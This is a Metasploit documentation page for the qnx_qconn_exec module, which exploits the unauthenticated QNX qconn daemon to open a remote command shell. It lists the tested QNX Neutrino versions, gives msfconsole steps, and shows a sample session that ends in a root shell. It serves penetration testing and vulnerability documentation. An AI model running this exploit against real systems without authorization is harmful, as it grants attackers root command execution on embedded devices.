dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
metasploit-framework/documentation/modules/exploit/unix/misc/qnx_qconn_exec.md

1.4 KiB
Raw Permalink Blame History

Description

This module uses the qconn daemon on QNX systems to gain a shell.

The QNX qconn daemon does not require authentication and allows remote users to execute arbitrary operating system commands.

Vulnerable Application

The QNX qconn daemon is a service provider that provides support, such as profiling system information, to remote IDE components.

This module has been tested successfully on:

  • QNX Neutrino 6.5.0 (x86)
  • QNX Neutrino 6.5.0 SP1 (x86)

QNX Neutrino 6.5.0 Service Pack 1 is available here:

Verification Steps

  1. Start msfconsole
  2. use exploit/unix/misc/qnx_qconn_exec
  3. set rhost <IP>
  4. set rport <PORT>
  5. run
  6. You should get a session

Scenarios

msf5 > use exploit/unix/misc/qnx_qconn_exec 
msf5 exploit(unix/misc/qnx_qconn_exec) > set rhost 172.16.191.215
rhost => 172.16.191.215
msf5 exploit(unix/misc/qnx_qconn_exec) > set rport 8000
rport => 8000
msf5 exploit(unix/misc/qnx_qconn_exec) > run

[*] 172.16.191.215:8000 - Sending payload...
[+] 172.16.191.215:8000 - Payload sent successfully
[*] Found shell.
[*] Command shell session 1 opened (172.16.191.188:33641 -> 172.16.191.215:8000) at 2018-03-21 00:19:37 -0400


0oxdgl2UgHIvCYBO
# id
id
uid=0(root) gid=0(root)
# uname -a
uname -a
QNX localhost 6.5.0 2012/06/20-13:50:50EDT x86pc x86